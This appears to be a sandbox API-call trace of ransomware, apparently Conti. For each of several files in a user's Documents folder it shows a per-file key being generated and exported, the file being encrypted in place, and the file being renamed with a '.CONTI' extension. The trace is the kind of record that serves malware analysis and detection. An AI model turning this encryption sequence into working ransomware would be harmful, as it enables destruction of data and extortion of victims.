	[0139.620] CryptExportKey (in: hKey=0x6b7ecf8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f4e4, pdwDataLen=0x4fbf86c | out: pbData=0x6b4f4e4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.621] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico")) returned 0x2
	[0139.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.622] GetLastError () returned 0x0
	[0139.622] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=29926) returned 1
	[0139.622] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x74e6
	[0139.622] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.622] SetEndOfFile (hFile=0x424) returned 1
	[0139.622] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.622] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.622] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f4e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4e4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0139.625] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.625] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x74e6, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x74e6, lpOverlapped=0x0) returned 1
	[0139.630] CryptEncrypt (in: hKey=0x6b7ecf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x74e6, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x74f0) returned 1
	[0139.630] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.630] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x74f0, lpOverlapped=0x0) returned 1
	[0139.630] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.630] WriteFile (in: hFile=0x424, lpBuffer=0x6b4f4d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4f4d8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0139.630] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.630] CloseHandle (hObject=0x424) returned 1
	[0139.631] GetProcessHeap () returned 0x1720000
	[0139.631] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.631] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico"
	[0139.631] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.CONTI"
	[0139.631] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\_private\\folder.ico.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico.conti")) returned 1
	[0139.631] GetProcessHeap () returned 0x1720000
	[0139.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.631] CryptDestroyKey (hKey=0x6b7ecf8) returned 1
	[0139.631] GetProcessHeap () returned 0x1720000
	[0139.631] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5728 | out: hHeap=0x1720000) returned 1
	[0139.631] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.631] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fe00 | out: phKey=0x6b4fe00*=0x6b7ecb8) returned 1
	[0139.631] CryptExportKey (in: hKey=0x6b7ecb8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fe04, pdwDataLen=0x4fbf86c | out: pbData=0x6b4fe04*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.632] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\dfjmixdsieaor0hpe.rtf")) returned 0x20
	[0139.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\dfjmixdsieaor0hpe.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.633] GetLastError () returned 0x0
	[0139.633] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=51321) returned 1
	[0139.633] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc879
	[0139.633] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.633] SetEndOfFile (hFile=0x424) returned 1
	[0139.633] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.633] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.633] WriteFile (in: hFile=0x424, lpBuffer=0x6b4fe04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4fe04*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0139.635] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.635] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0xc879, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xc879, lpOverlapped=0x0) returned 1
	[0139.641] CryptEncrypt (in: hKey=0x6b7ecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xc879, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xc880) returned 1
	[0139.641] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.642] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xc880, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xc880, lpOverlapped=0x0) returned 1
	[0139.642] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.642] WriteFile (in: hFile=0x424, lpBuffer=0x6b4fdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4fdf8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0139.642] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.642] CloseHandle (hObject=0x424) returned 1
	[0139.642] GetProcessHeap () returned 0x1720000
	[0139.642] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.642] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf"
	[0139.642] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf.CONTI"
	[0139.642] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\dfjmixdsieaor0hpe.rtf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\DfJmiXdsIEaor0hpE.rtf.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\dfjmixdsieaor0hpe.rtf.conti")) returned 1
	[0139.643] GetProcessHeap () returned 0x1720000
	[0139.643] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.643] CryptDestroyKey (hKey=0x6b7ecb8) returned 1
	[0139.643] GetProcessHeap () returned 0x1720000
	[0139.643] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0139.643] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.643] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e2a0 | out: phKey=0x6b4e2a0*=0x6b7e9f8) returned 1
	[0139.643] CryptExportKey (in: hKey=0x6b7e9f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e2a4, pdwDataLen=0x4fbf86c | out: pbData=0x6b4e2a4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.644] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\rsn5uw8sgbcyk-so.ods")) returned 0x20
	[0139.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\rsn5uw8sgbcyk-so.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.644] GetLastError () returned 0x0
	[0139.644] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=41898) returned 1
	[0139.645] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa3aa
	[0139.645] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.645] SetEndOfFile (hFile=0x424) returned 1
	[0139.645] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.645] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.645] WriteFile (in: hFile=0x424, lpBuffer=0x6b4e2a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4e2a4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0139.647] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.647] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0xa3aa, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xa3aa, lpOverlapped=0x0) returned 1
	[0139.652] CryptEncrypt (in: hKey=0x6b7e9f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xa3aa, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xa3b0) returned 1
	[0139.652] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.652] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xa3b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xa3b0, lpOverlapped=0x0) returned 1
	[0139.653] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.653] WriteFile (in: hFile=0x424, lpBuffer=0x6b4e298*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4e298*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0139.653] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.653] CloseHandle (hObject=0x424) returned 1
	[0139.653] GetProcessHeap () returned 0x1720000
	[0139.653] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.653] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods"
	[0139.653] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods.CONTI"
	[0139.653] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\rsn5uw8sgbcyk-so.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\RSn5UW8sGbcYk-so.ods.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\rsn5uw8sgbcyk-so.ods.conti")) returned 1
	[0139.654] GetProcessHeap () returned 0x1720000
	[0139.654] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.654] CryptDestroyKey (hKey=0x6b7e9f8) returned 1
	[0139.654] GetProcessHeap () returned 0x1720000
	[0139.654] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bc60 | out: hHeap=0x1720000) returned 1
	[0139.654] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.654] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b504d8 | out: phKey=0x6b504d8*=0x6b7e7f8) returned 1
	[0139.654] CryptExportKey (in: hKey=0x6b7e7f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b504dc, pdwDataLen=0x4fbf86c | out: pbData=0x6b504dc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.655] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\3mp3.doc")) returned 0x20
	[0139.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\3mp3.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.655] GetLastError () returned 0x0
	[0139.655] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=21835) returned 1
	[0139.655] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x554b
	[0139.655] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.655] SetEndOfFile (hFile=0x424) returned 1
	[0139.655] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.655] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.655] WriteFile (in: hFile=0x424, lpBuffer=0x6b504dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b504dc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0140.666] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.666] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x554b, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x554b, lpOverlapped=0x0) returned 1
	[0140.667] CryptEncrypt (in: hKey=0x6b7e7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x554b, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x5550) returned 1
	[0140.667] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.667] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x5550, lpOverlapped=0x0) returned 1
	[0140.667] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.667] WriteFile (in: hFile=0x424, lpBuffer=0x6b504d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b504d0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0140.667] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.667] CloseHandle (hObject=0x424) returned 1
	[0140.667] GetProcessHeap () returned 0x1720000
	[0140.667] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0140.706] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc"
	[0140.706] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc.CONTI"
	[0140.706] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\3mp3.doc"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\URJK\\3Mp3.doc.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\urjk\\3mp3.doc.conti")) returned 1
	[0140.709] GetProcessHeap () returned 0x1720000
	[0140.709] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0140.709] CryptDestroyKey (hKey=0x6b7e7f8) returned 1
	[0140.709] GetProcessHeap () returned 0x1720000
	[0140.709] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5458 | out: hHeap=0x1720000) returned 1
	[0140.709] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0140.709] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b53b98 | out: phKey=0x6b53b98*=0x6b7e9f8) returned 1
	[0140.709] CryptExportKey (in: hKey=0x6b7e9f8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53b9c, pdwDataLen=0x4fbf86c | out: pbData=0x6b53b9c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0140.710] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\uerwdnbbwup.xls")) returned 0x20
	[0140.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\nKWi6a_McmBaYtU\\VyHyfxz0\\PQJCS9rSaqx-0GIf\\uErwDNBBwUp.xls" (normalized: "c:\\users\\fd1hvy\\documents\\nkwi6a_mcmbaytu\\vyhyfxz0\\pqjcs9rsaqx-0gif\\uerwdnbbwup.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0140.710] GetLastError () returned 0x0
	[0140.710] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=45514) returned 1
	[0140.710] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb1ca
	[0140.711] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.711] SetEndOfFile (hFile=0x424) returned 1
	[0140.711] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0140.711] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.711] WriteFile (in: hFile=0x424, lpBuffer=0x6b53b9c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b53b9c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0140.717] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
